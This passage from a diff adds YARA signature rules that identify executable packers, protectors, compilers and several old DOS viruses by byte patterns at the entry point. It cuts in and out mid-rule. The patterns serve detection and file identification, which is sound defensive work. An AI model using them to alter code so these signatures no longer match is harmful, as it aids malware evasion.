15 8D 85 9F 02 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UnoPiX_075__BaGiE_
+{
+	meta:
+		description = "UnoPiX 0.75 -> BaGiE"
+	strings:
+		$0 = {60 E8 07 00 00 00 61 68 ?? ?? 40 00 C3 83 04 24 18 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 61}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_XRCV1015_
+{
+	meta:
+		description = "Vx: XRCV.1015"
+	strings:
+		$0 = {E8 ?? ?? 5E 83 ?? ?? 53 51 1E 06 B4 99 CD 21 80 FC 21 ?? ?? ?? ?? ?? 33 C0 50 8C D8 48 8E C0 1F A1 ?? ?? 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _FASM_15x_
+{
+	meta:
+		description = "FASM 1.5x"
+	strings:
+		$0 = {6A 00 FF 15 ?? ?? 40 00 A3 ?? ?? 40 00}
+	condition:
+		$0
+}
+rule _VProtector_V11A__vcasm_
+{
+	meta:
+		description = "VProtector V1.1A -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Intro_v10_
+{
+	meta:
+		description = "PE Intro v1.0"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 ?? ?? ?? ?? 5D 81 ED 0A 45 40 ?? 80 BD 67 44 40 ?? ?? 0F 85 48}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_v118_Basic_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack v1.18 Basic [LZMA] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_nSPack_13__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake nSPack 1.3) -> emadicius (h)"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D3 FE FF FF 8B 06 83 F8 00 74 11 8D B5 DF FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_v12__NorthfoxHCC_
+{
+	meta:
+		description = "MEW 11 SE v1.2 -> Northfox[HCC"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PIMP_Install_System_v13x_
+{
+	meta:
+		description = "Nullsoft PIMP Install System v1.3x"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? 00 00 56 57 6A ?? BE ?? ?? ?? ?? 59 8D BD}
+	condition:
+		$0 at entrypoint
+}
+rule _Software_Compress_v14_LITE__BG_Software_Protect_Technologies_h_
+{
+	meta:
+		description = "Software Compress v1.4 LITE -> BG Software Protect Technologies (h)"
+	strings:
+		$0 = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A}
+		$1 = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A 41 00 8B 4A 64 89 8D 51 1A 41 00 8B 4A 74 89 8D 59 1A 41 00 68 00 20 00 00 E8 D2 00 00 00 50 8D 8D 00 1C 41 00 50 51 E8 1B 00 00 00 83 C4 08 58 8D 78 74 8D B5 49 1A 41 00 B9 18 00 00 00 F3 A4 05 A4 00 00 00 50 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 4D 1A 41 00 89 44 24 1C 61 C2 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_BJFNT_12_
+{
+	meta:
+		description = "PseudoSigner 0.2 [.BJFNT 1.2]"
+	strings:
+		$0 = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Alex_Protector_v10__Alex_
+{
+	meta:
+		description = "Alex Protector v1.0 -> Alex"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v051_
+{
+	meta:
+		description = "UPX v0.51"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 D8 01 ?? ?? 83 CD FF 31 DB ?? ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 0B 8A 06 46 88 07 47 EB EB 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_32_
+{
+	meta:
+		description = "Shrinker 3.2"
+	strings:
+		$0 = {55 8B EC 56 57 75 65 68 00 01 00 00 E8 F1 E6 FF FF 83 C4 04}
+	condition:
+		$0
+}
+rule _DEF_100_Eng__bartxt_
+{
+	meta:
+		description = "DEF 1.00 (Eng) -> bart/xt"
+	strings:
+		$0 = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_80_
+{
+	meta:
+		description = "Microsoft Visual C++ 8.0"
+	strings:
+		$0 = {48 83 EC 28 E8 ?? ?? 00 00 48 83 C4 28 E9 ?? ?? FF FF CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+		$1 = {83 3D ?? ?? ?? ?? 00 74 1A 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 59 74 0B FF 74 24 04 FF 15 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 59 59 75 54 56 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B C6 BF}
+		$2 = {00 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _Turbo_Pascal_v30_1985_
+{
+	meta:
+		description = "Turbo Pascal v3.0 1985"
+	strings:
+		$0 = {90 90 CD AB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 35}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_0X12X__vcasm_
+{
+	meta:
+		description = "VProtector 0.X-1.2X -> vcasm"
+	strings:
+		$0 = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3}
+	condition:
+		$0
+}
+rule _Install_Stub_32bit_
+{
+	meta:
+		description = "Install Stub 32-bit"
+	strings:
+		$0 = {55 8B EC 81 EC 14 ?? 00 00 53 56 57 6A 00 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 29}
+	condition:
+		$0 at entrypoint
+}
+rule _AHpack_01__FEUERRADER_
+{
+	meta:
+		description = "AHpack 0.1 -> FEUERRADER"
+	strings:
+		$0 = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v204_
+{
+	meta:
+		description = "PE Lock NT v2.04"
+	strings:
+		$0 = {EB ?? CD ?? ?? ?? ?? ?? CD ?? ?? ?? ?? ?? EB ?? EB ?? EB ?? EB ?? CD ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v252_beta2_
+{
+	meta:
+		description = "Armadillo v2.52 beta2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? B0 ?? ?? ?? ?? 68 60 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 24}
+	condition:
+		$0 at entrypoint
+}
+rule _SDC_12_Self_Decrypting_Binary_Generator__by_Claes_M_Nyberg_
+{
+	meta:
+		description = "SDC 1.2 (Self Decrypting Binary Generator) - by Claes M Nyberg"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 A0 91 40 00 E8 DB FE FF FF 55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91 00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00 00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00 E8 CE 24 00 00 83 F8 01 0F 84 C4 00 00}
+		$1 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 A0 91 40 00 E8 DB FE FF FF 55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91 00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00 00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00 E8 CE 24 00 00 83 F8 01 0F 84 C4 00 00 00 85 C0 0F 85 A9 00 00 00 31 C0 83 C4 14 5B 5D C2 04 00 3D 94 00 00 C0 74 56 3D 96 00 00 C0 74 1E 3D 93 00 00 C0 75 E1 EB B5 3D 05 00 00 C0 8D B4 26 00 00 00 00 74 43 3D 1D 00 00 C0 75 CA C7 44 24 04 00 00 00 00 C7 04 24 04 00 00 00 E8 73 24 00 00 83 F8 01 0F 84 99 00 00 00 85 C0 74 A9 C7 04 24 04 00 00 00 FF D0 B8 FF FF FF FF EB 9B 31 DB 8D 74 26 00 E9 69 FF FF FF C7 44 24 04 00 00 00 00 C7 04 24 0B 00 00 00 E8 37 24 00 00 83 F8 01 74 7F 85 C0 0F 84 6D FF FF FF C7 04 24 0B 00 00 00 8D 76 00 FF D0 B8 FF FF FF FF E9 59 FF FF FF C7 04 24 08 00 00 00 FF D0 B8 FF FF FF FF E9 46 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 08 00 00 00 E8 ED 23 00 00 B8 FF FF FF FF 85 DB 0F 84 25 FF FF FF E8 DB 15 00 00 B8 FF FF FF FF E9 16 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 04 00 00 00 E8 BD 23 00 00 B8 FF FF FF FF E9 F8 FE FF FF C7 44 24 04 01 00 00 00 C7 04 24 0B 00 00 00 E8 9F 23 00 00 B8 FF FF FF FF E9 DA FE FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v265b1_
+{
+	meta:
+		description = "Armadillo v2.65b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 38 ?? ?? ?? 68 40 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 F4}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1992_14_
+{
+	meta:
+		description = "MS Run-Time Library 1992 (14)"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 8C C0 A3 ?? ?? 83 C0 ?? A3 ?? ?? B4 30}
+	condition:
+		$0 at entrypoint
+}
+rule _DalKrypt_10__by_DalKiT_
+{
+	meta:
+		description = "DalKrypt 1.0 - by DalKiT"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7}
+		$1 = {68 00 10 40 00 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MEW_11_SE_v11_
+{
+	meta:
+		description = "MEW 11 SE v1.1"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_v70_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.0 DLL"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 ?? ?? 83}
+		$1 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _EPExE_Pack_V10__6aHguT__gluk_
+{
+	meta:
+		description = "!EP(ExE Pack) V1.0 -> 6aHguT & g-l-u-k"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v041x_
+{
+	meta:
+		description = "tElock v0.41x"
+	strings:
+		$0 = {66 8B C0 8D 24 24 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 50 8B FE 68 78 01 ?? ?? 59 EB 01 EB AC 54 E8 03 ?? ?? ?? 5C EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _XXPack_01__bagie_
+{
+	meta:
+		description = "XXPack 0.1 -> bagie"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 00 68 00 ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Manager_Version_30_1994_c_Solar_Designer_
+{
+	meta:
+		description = "EXE Manager Version 3.0 1994 (c) Solar Designer"
+	strings:
+		$0 = {B4 30 1E 06 CD 21 2E ?? ?? ?? BF ?? ?? B9 ?? ?? 33 C0 2E ?? ?? 47 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeJoiner_V10__Yoda_f2f_
+{
+	meta:
+		description = "ExeJoiner V1.0 -> Yoda f2f"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DZA_Patcher_v13__DZA_
+{
+	meta:
+		description = "DZA Patcher v1.3 -> DZA"
+	strings:
+		$0 = {EB 08 35 48 34 30 4C 31 4E 00 60 E8 00 00 00 00 5D 8B D5 81 ED 44 73 40 00 2B 95 74 74 40 00 83 EA 10 89 95 70 74 40 00 8B 44 24 20 25 00 00 FF FF 80 38 4D 74 07 2D 00 00 01 00 EB F4 93 89 85 7C 74 40 00 8D BD 8C 74 40 00 E8 83 00 00 00 89 85 80 74 40 00}
+		$1 = {EB 08 35 48 34 30 4C 31 4E 00 60 E8 00 00 00 00 5D 8B D5 81 ED 44 73 40 00 2B 95 74 74 40 00 83 EA 10 89 95 70 74 40 00 8B 44 24 20 25 00 00 FF FF 80 38 4D 74 07 2D 00 00 01 00 EB F4 93 89 85 7C 74 40 00 8D BD 8C 74 40 00 E8 83 00 00 00 89 85 80 74 40 00 8D BD A4 74 40 00 E8 72 00 00 00 89 85 84 74 40 00 8D BD F0 73 40 00 57 FF D0 8D BD 99 74 40 00 E8 58 00 00 00 89 85 88 74 40 00 8B 85 78 74 40 00 03 85 70 74 40 00 99 8D 8D 6C 74 40 00 51 52 52 50 52 52 FF 95 80 74 40 00 8D BD C0 74 40 00 8B 0F E3 13 8A 5F 05 8A 01 3A C3 75 FA 8A 57 04 88 11 83 C7 06 EB E9 E8 00 00 00 00 5D 81 ED F5 73 40 00 6A 00 FF 95 88 74 40 00 61 C3 8B D3 0F B7 43 3C 03 D8 8B 5B 78 03 DA 0B FF 74 40 8B 73 20 03 F2 8B 4B 18 53 33 DB AD 03 C2 56 57 87 FE 97 AC 0A C0 75 07 80 3F 00 74 0B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Horse1776_
+{
+	meta:
+		description = "Vx: Horse.1776"
+	strings:
+		$0 = {E8 ?? ?? 5D 83 ?? ?? 06 1E 26 ?? ?? ?? ?? BF ?? ?? 1E 0E 1F 8B F7 01 EE B9 ?? ?? FC F3 A6 1F 1E 07}
+	condition:
+		$0 at entrypoint
+}
+rule _shoooos_Pack__shoooo_
+{
+	meta:
+		description = "shoooo's Pack -> shoooo"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_099__tE_
+{
+	meta:
+		description = "tElock 0.99 -> tE!"
+	strings:
+		$0 = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_102__103__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector 1.02 - 1.03 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Eddie1028_
+{
+	meta:
+		description = "Vx: Eddie.1028"
+	strings:
+		$0 = {E8 ?? ?? 5E FC 83 ?? ?? 81 ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E B8 FE 4B CD 21 81 FF BB 55 ?? ?? 07 ?? ?? ?? 07 B4 49 CD 21 BB FF FF B4 48 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Exact_Audio_Copy_
+{
+	meta:
+		description = "Exact Audio Copy"
+	strings:
+		$0 = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _nSPack_2x__North_StarLiu_Xing_Ping_
+{
+	meta:
+		description = "nSPack 2.x -> North Star/Liu Xing Ping"
+	strings:
+		$0 = {FF FF 8B 4E 08 8D 56 10 8B 36 8B FE 83 F9 00 74 3F 8A 07 47 2C E8 3C 01 77 F7 8B 07 80 7A 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PMODEW_v112_116_121_133_DOS_extender_
+{
+	meta:
+		description = "PMODE/W v.1.12, 1.16, 1.21, 1.33 DOS extender"
+	strings:
+		$0 = {FC 16 07 BF ?? ?? 8B F7 57 B9 ?? ?? F3 A5 06 1E 07 1F 5F BE ?? ?? 06 0E A4}
+	condition:
+		$0 at entrypoint
+}
+rule _BamBam_001_
+{
+	meta:
+		description = "BamBam 0.01"
+	strings:
+		$0 = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+	condition:
+		$0
+}
+rule _Borland_Delphi_3__Portions_Copyright_c_198397_Borland_h_
+{
+	meta:
+		description = "Borland Delphi 3 -> Portions Copyright (c) 1983,97 Borland (h)"
+	strings:
+		$0 = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 37 20 42 6F 72 6C 61 6E 64 00}
+	condition:
+		$0
+}
+rule _Upack_v032_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.32 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_036_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.36 beta -> Dwing"
+	strings:
+		$0 = {BE E0 11 ?? ?? FF 36 E9 C3 00 00 00 48 01 ?? ?? 0B 01 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C}
+	condition:
+		$0
+}
+rule _Armadillo_430a__Silicon_Realms_Toolworks_h_
+{
+	meta:
+		description = "Armadillo 4.30a -> Silicon Realms Toolworks (h)"
+	strings:
+		$0 = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43 4F 44 45 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 53 27 20 61 6E 64 20 27 25 53 27 00 00 00 00 50 75 74 53 74 72 69 6E 67 28 27 25 73 27 29 00 47 65 74 53 74 72 69 6E 67 28 29 2C 20 66 61 6C 73 65 00 00 47 65 74 53}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_ASProtect__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ASProtect] -> Anorganix"
+	strings:
+		$0 = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD E9}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeStealth__WebToolMaster_
+{
+	meta:
+		description = "ExeStealth -> WebToolMaster"
+	strings:
+		$0 = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F}
+	condition:
+		$0
+}
+rule _Upack_v039_final__Dwing_h_
+{
+	meta:
+		description = "Upack v0.39 final -> Dwing (h)"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_12_
+{
+	meta:
+		description = "Petite 1.2"
+	strings:
+		$0 = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Spin_0b_
+{
+	meta:
+		description = "PE Spin 0.b"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9}
+	condition:
+		$0
+}
+rule _eXPressor_11__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.1 -> CGSoftLabs"
+	strings:
+		$0 = {E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? 12 00 00 E9 ?? 0C 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_30_old_crap_
+{
+	meta:
+		description = "Microsoft Visual C++ (3.0 old crap)"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 ?? ?? 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00 00 83 EC 10}
+	condition:
+		$0 at entrypoint
+}
+rule _NeoLite_v10_
+{
+	meta:
+		description = "NeoLite v1.0"
+	strings:
+		$0 = {8B 44 24 04 8D 54 24 FC 23 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 FF 25}
+		$1 = {E9 9B 00 00 00 A0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Private_EXE_Protector_18__SetiSoft_h_
+{
+	meta:
+		description = "Private EXE Protector 1.8 -> SetiSoft (h)"
+	strings:
